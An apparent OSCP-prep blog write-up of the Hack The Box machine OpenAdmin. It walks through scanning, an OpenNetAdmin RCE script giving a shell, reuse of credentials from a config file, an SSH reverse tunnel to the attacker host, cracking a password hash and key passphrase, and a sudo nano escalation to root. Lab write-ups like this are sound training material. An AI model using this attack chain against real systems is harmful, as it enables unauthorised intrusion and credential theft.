Path to OSCP: OpenAdmin
As part of my progress towards achieving Offensive Security Certified Professional certification, I’m attempting to complete all NetSecFocus OSCP-style boxes on Hack The Box, and detailing each box in this “Path to OSCP” blog series.
After a short holiday it’s back to OSCP prep. Should have a fairly uninterrupted run now until end of year, so eyeing an attempt at the OSCP exam just before Christmas.
Next up on the NetSecFocus list is OpenAdmin. We crack on with the usual nmap scan:
u01@nostromo:~$ mkdir HTB/openadmin && sudo nmap -p- -A openadmin.htb -oA HTB/openadmin/openadmin Starting Nmap 7.94 ( https://nmap.org ) at 2023-09-03 19:23 IST Nmap scan report for openadmin.htb (10.10.10.171) Host is up (0.030s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 4b:98:df:85:d1:7e:f0:3d:da:48:cd:bc:92:00:b7:54 (RSA) | 256 dc:eb:3d:c9:44:d1:18:b1:22:b4:cf:de:bd:6c:7a:54 (ECDSA) |_ 256 dc:ad:ca:3c:11:31:5b:6f:e6:a4:89:34:7c:9b:e5:50 (ED25519) 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) |_http-server-header: Apache/2.4.29 (Ubuntu) |_http-title: Apache2 Ubuntu Default Page: It works No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ). TCP/IP fingerprint: OS:SCAN(V=7.94%E=4%D=9/3%OT=22%CT=1%CU=31338%PV=Y%DS=2%DC=T%G=Y%TM=64F4CF50 OS:%P=x86_64-pc-linux-gnu)SEQ(SP=103%GCD=1%ISR=10F%TI=Z%CI=Z%II=I%TS=A)SEQ( OS:SP=104%GCD=1%ISR=110%TI=Z%CI=Z%II=I%TS=A)OPS(O1=M53CST11NW7%O2=M53CST11N OS:W7%O3=M53CNNT11NW7%O4=M53CST11NW7%O5=M53CST11NW7%O6=M53CST11)WIN(W1=7120 OS:%W2=7120%W3=7120%W4=7120%W5=7120%W6=7120)ECN(R=Y%DF=Y%T=40%W=7210%O=M53C OS:NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R OS:=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F= OS:AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T= OS:40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID OS:=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S) Network Distance: 2 hops Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE (using port 8080/tcp) HOP RTT ADDRESS 1 35.81 ms 10.10.14.1 2 35.97 ms openadmin.htb (10.10.10.171) OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 49.87 seconds
Investigating port 80, we see a default Apache2 welcome page:
I kick off gobuster with the usual directory list:
u01@nostromo:~$ gobuster dir -u http://openadmin.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt =============================================================== Gobuster v3.6 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://openadmin.htb [+] Method: GET [+] Threads: 10 [+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt [+] Negative Status codes: 404 [+] User Agent: gobuster/3.6 [+] Timeout: 10s =============================================================== Starting gobuster in directory enumeration mode =============================================================== /music (Status: 301) [Size: 314] [--> http://openadmin.htb/music/] /artwork (Status: 301) [Size: 316] [--> http://openadmin.htb/artwork/] /sierra (Status: 301) [Size: 315] [--> http://openadmin.htb/sierra/] /server-status (Status: 403) [Size: 278] Progress: 220560 / 220561 (100.00%) =============================================================== Finished ===============================================================
This reveals a site at http://openadmin.htb/music/, http://openadmin.htb/artwork/ and http://openadmin.htb/sierra
I kick off a gobuster scan for each of these sites while doing some manual enumeration.
Looking at /music first, the page title states “Music | NOT LIVE/NOT FOR PRODUCTION USE”. I check the Login link and it brings me to http://openadmin.htb/ona/, an instance of OpenNetAdmin, logged in as Guest.
This looks like the correct entry point, so I cancel the gobuster scans. Searchsploit shows an RCE for this version of OpenNetAdmin, 18.1.1:
u01@nostromo:~$ searchsploit opennetadmin 18.1.1 -------------------------------------------------------------------------------------------------------------------------- --------------------------------- Exploit Title | Path -------------------------------------------------------------------------------------------------------------------------- --------------------------------- OpenNetAdmin 18.1.1 - Command Injection Exploit (Metasploit) | php/webapps/47772.rb OpenNetAdmin 18.1.1 - Remote Code Execution | php/webapps/47691.sh -------------------------------------------------------------------------------------------------------------------------- ---------------------------------
I’ve been preferring GitHub as my first port of call for exploits and POCs recently, I find they’re commonly more up-to-date, documented, and bug free compared to Searchsploit. So I take a look to see what’s available for this vulnerability on GitHub, and come across amriunix/ona-rce: OpenNetAdmin 18.1.1 – Remote Code Execution (github.com)
I download the script, point it towards the ONA page and we have a shell as www-data straight away:
u01@nostromo:~/HTB/openadmin/ona-rce$ python ona-rce.py exploit http://openadmin.htb/ona/ [*] OpenNetAdmin 18.1.1 - Remote Code Execution [+] Connecting ! [+] Connected Successfully! sh$ id uid=33(www-data) gid=33(www-data) groups=33(www-data)
I upload LinPEAS to kick off enumeration, but have a lot of trouble viewing output in the unstable shell, so I output the content to a file with ./linpeas.sh -a > linpeas.txt and move it to http://openadmin.htb/ona/images/ where I can retrieve it from my host. The interesting parts are:
╔══════════╣ Operative system ╚ https://book.hacktricks.xyz/linux-unix/privilege-escalation#kernel-exploits Linux version 4.15.0-70-generic (buildd@lgw01-amd64-055) (gcc version 7.4.0 (Ubuntu 7.4.0-1ubuntu1~18.04.1)) #79-Ubuntu SMP Tue Nov 12 10:36:11 UTC 2019 Distributor ID: Ubuntu Description: Ubuntu 18.04.3 LTS Release: 18.04 Codename: bionic ╔══════════╣ Sudo version ╚ https://book.hacktricks.xyz/linux-unix/privilege-escalation#sudo-version Sudo version 1.9.7p1 ╔══════════╣ Last time logon each user Username Port From Latest root tty1 Tue Aug 17 13:06:49 +0000 2021 jimmy pts/1 10.10.14.3 Thu Jan 2 20:50:03 +0000 2020 joanna pts/0 10.10.14.15 Tue Jul 27 06:12:07 +0000 2021 ╔══════════╣ MySQL version mysql Ver 14.14 Distrib 5.7.28, for Linux (x86_64) using EditLine wrapper ═╣ MySQL connection using default root/root ........... No ═╣ MySQL connection using root/toor ................... No ═╣ MySQL connection using root/NOPASS ................. No ╔══════════╣ Searching mysql credentials and exec From '/etc/mysql/mysql.conf.d/mysqld.cnf' Mysql user: user = mysql Found readable /etc/mysql/my.cnf !includedir /etc/mysql/conf.d/ !includedir /etc/mysql/mysql.conf.d/ ╔══════════╣ Analyzing MariaDB Files (limit 70) -rw------- 1 root root 317 Nov 21 2019 /etc/mysql/debian.cnf ══╣ Some home ssh config file was found /usr/share/openssh/sshd_config
However, none of these seem to give us what we need to advance. After some further digging I come across the ‘local’ directory, which has a config folder containing database_settings.inc.php:
sh$ ls -la local/ total 20 drwxrwxr-x 5 www-data www-data 4096 Jan 3 2018 . drwxrwxr-x 10 www-data www-data 4096 Nov 22 2019 .. drwxrwxr-x 2 www-data www-data 4096 Nov 21 2019 config drwxrwxr-x 3 www-data www-data 4096 Jan 3 2018 nmap_scans drwxrwxr-x 2 www-data www-data 4096 Jan 3 2018 plugins sh$ ls -la local/config/ total 16 drwxrwxr-x 2 www-data www-data 4096 Nov 21 2019 . drwxrwxr-x 5 www-data www-data 4096 Jan 3 2018 .. -rw-r--r-- 1 www-data www-data 426 Nov 21 2019 database_settings.inc.php -rw-rw-r-- 1 www-data www-data 1201 Jan 3 2018 motd.txt.example -rw-r--r-- 1 www-data www-data 0 Nov 21 2019 run_installer
This contains credentials for an ona_sys account. I try this for password reuse via SSH, first with the ona_sys account, and then for the other usernames enumerated, and get a connection with jimmy:n1nj4W4rri0R!
sh$ cat local/config/database_settings.inc.php <?php $ona_contexts=array ( 'DEFAULT' => array ( 'databases' => array ( 0 => array ( 'db_type' => 'mysqli', 'db_host' => 'localhost', 'db_login' => 'ona_sys', 'db_passwd' => 'n1nj4W4rri0R!', 'db_database' => 'ona_default', 'db_debug' => false, ), ), 'description' => 'Default data context', 'context_color' => '#D3DBFF', ), ); ?
We kick off LinPEAS under the context of jimmy:
╔══════════╣ Active Ports ╚ https://book.hacktricks.xyz/linux-unix/privilege-escalation#open-ports tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN - tcp 0 0 127.0.0.1:52846 0.0.0.0:* LISTEN - tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN - tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN - tcp6 0 0 :::80 :::* LISTEN - tcp6 0 0 :::22 :::* LISTEN - ╔══════════╣ Analyzing Other Interesting Files Files (limit 70) -rw-r--r-- 1 root root 3771 Apr 4 2018 /etc/skel/.bashrc -rw-r--r-- 1 jimmy jimmy 3771 Apr 4 2018 /home/jimmy/.bashrc -rw-r--r-- 1 root root 3771 Aug 31 2015 /snap/core/7270/etc/skel/.bashrc -rw-r--r-- 1 root root 3771 Aug 31 2015 /snap/core/8039/etc/skel/.bashrc ╔══════════╣ Interesting writable files owned by me or writable by everyone (not in Home) (max 500) ╚ https://book.hacktricks.xyz/linux-unix/privilege-escalation#writable-files /var/www/internal /var/www/internal/index.php /var/www/internal/logout.php /var/www/internal/main.php
/internal looks interesting; jimmy is owner so we won’t have had access to this folder before, which ties in with a CTF-style progression:
jimmy@openadmin:~$ ls -l /var/www/internal -d drwxrwx--- 2 jimmy internal 4096 Nov 23 2019 /var/www/internal jimmy@openadmin:~$ ls -l /var/www/internal total 12 -rwxrwxr-x 1 jimmy internal 3229 Nov 22 2019 index.php -rwxrwxr-x 1 jimmy internal 185 Nov 23 2019 logout.php -rwxrwxr-x 1 jimmy internal 339 Nov 23 2019 main.php
Looking at the source of index.php, the title is “Tutorialspoint.com”, and more interestingly, seems to have a hardcoded login hash for jimmy:
if (isset($_POST['login']) && !empty($_POST['username']) && !empty($_POST['password'])) { if ($_POST['username'] == 'jimmy' && hash('sha512',$_POST['password']) == '00e302ccdcf1c60b8ad50ea50cf72b939705f49f40f0dc658801b4680b7d758eebdc2e9f9ba8ba3ef8a8bb9a796d34ba2e856838ee9bdde852b8ec3b3a0523b1') { $_SESSION['username'] = 'jimmy'; header("Location: /main.php"); } else { $msg = 'Wrong username or password.'; }
Logout.php doesn’t contain anything of interest, but main.php does:
jimmy@openadmin:/var/www/internal$ cat main.php <?php session_start(); if (!isset ($_SESSION['username'])) { header("Location: /index.php"); }; # Open Admin Trusted # OpenAdmin $output = shell_exec('cat /home/joanna/.ssh/id_rsa'); echo "<pre>$output</pre>"; ?> <html> <h3>Don't forget your "ninja" password</h3> Click here to logout <a href="logout.php" tite = "Logout">Session </html>
If this is a site running internally on the host, it needs to be listening on an internal port for connections. We would have seen an additional port listening in the linpeas output, but to confirm we run netstat:
jimmy@openadmin:/var/www/internal$ netstat -tln Active Internet connections (only servers) Proto Recv-Q Send-Q Local Address Foreign Address State tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN tcp 0 0 127.0.0.1:52846 0.0.0.0:* LISTEN tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN tcp6 0 0 :::80 :::* LISTEN tcp6 0 0 :::22 :::* LISTEN
We try curl against localhost:52846, and we get a match for “tutorialspoint.com”, confirming that it’s very likely the internal directory we viewed earlier is the source for this listening port:
jimmy@openadmin:/var/www/internal$ curl localhost:52846 <? // error_reporting(E_ALL); // ini_set("display_errors", 1); ?> <html lang = "en"> <head> <title>Tutorialspoint.com</title> <link href = "css/bootstrap.min.css" rel = "stylesheet">
In order to access this internal page, we’ll need to use remote port forwarding. The following command allows us to access the internal port 52846 through an SSH tunnel:
jimmy@openadmin:/var/www/internal$ ssh -R 9999:localhost:52846 u01@10.10.14.2 -p 2222 u01@10.10.14.2's password:
Port 9999 is the port we are offering the connection on. Port 2222 was specified as the listening SSH port on our Kali machine, as SSH on port 22 is blocked across the HTB VPN tunnel. The port can be configured in the /etc/ssh/sshd_config file, and then the sshd.service service restarted for the change to take effect.
Once the port forwarding is established, we can access the internal login page on the specified port:
We have a username jimmy and hash from the file we found previously in /var/www/internal/index.php file. Entering the hash into CrackStation gives us the password “Revealed”. On entering these credentials, we’re presented with a RSA Private Key and a clue “Don’t forget your “ninja” password”.
The private key is password protected, so we take a hash of the key and crack it with John using rockyou.txt wordlist to reveal “bloodninjas” as the password:
u01@nostromo:~/HTB/openadmin$ john privkey > privkeyhash u01@nostromo:~/HTB/openadmin$ john --wordlist=/usr/share/wordlists/rockyou.txt privkeyhash Using default input encoding: UTF-8 Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64]) Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes Cost 2 (iteration count) is 1 for all loaded hashes Will run 4 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status bloodninjas (privkey) 1g 0:00:00:06 DONE (2023-09-14 10:47) 0.1545g/s 1479Kp/s 1479Kc/s 1479KC/s bloodofyouth..bloodmore23 Use the "--show" option to display all of the cracked passwords reliably Session completed. o:~/HTB/openadmin$ ssh2john privkey > privkeyhash
This allows us to SSH into the box as joanna specifying the private key and key password, obtaining the user.txt flag:
u01@nostromo:~/HTB/openadmin$ ssh -i privkey joanna@openadmin.htb Enter passphrase for key 'privkey': Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-70-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage System information as of Thu Sep 14 09:51:18 UTC 2023 System load: 0.0 Processes: 166 Usage of /: 30.9% of 7.81GB Users logged in: 0 Memory usage: 8% IP address for ens160: 10.10.10.171 Swap usage: 0% * Canonical Livepatch is available for installation. - Reduce system reboots and improve kernel security. Activate at: https://ubuntu.com/livepatch 39 packages can be updated. 11 updates are security updates. Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings Last login: Tue Jul 27 06:12:07 2021 from 10.10.14.15 joanna@openadmin:~$ id uid=1001(joanna) gid=1001(joanna) groups=1001(joanna),1002(internal) joanna@openadmin:~$ cat user.txt 6ffdd3c09a92b6f309922813256c56b0
Checking sudo -l, joanna can run /bin/nano on the file /opt/priv as root with no password required:
joanna@openadmin:~$ sudo -l Matching Defaults entries for joanna on openadmin: env_keep+="LANG LANGUAGE LINGUAS LC_* _XKB_CHARSET", env_keep+="XAPPLRESDIR XFILESEARCHPATH XUSERFILESEARCHPATH", secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, mail_badpass User joanna may run the following commands on openadmin: (ALL) NOPASSWD: /bin/nano /opt/priv
GTFOBins has a suggestion for dropping to a root shell with such sudo privileges to nano:
We modify this slightly to target the file we’re allowed run as root against:
sudo /bin/nano /opt/priv
CTRL + R followed by CTRL + X gives us a “Command to execute:” prompt, and entering the line from GTFOBins gives us root shell and access to root.txt: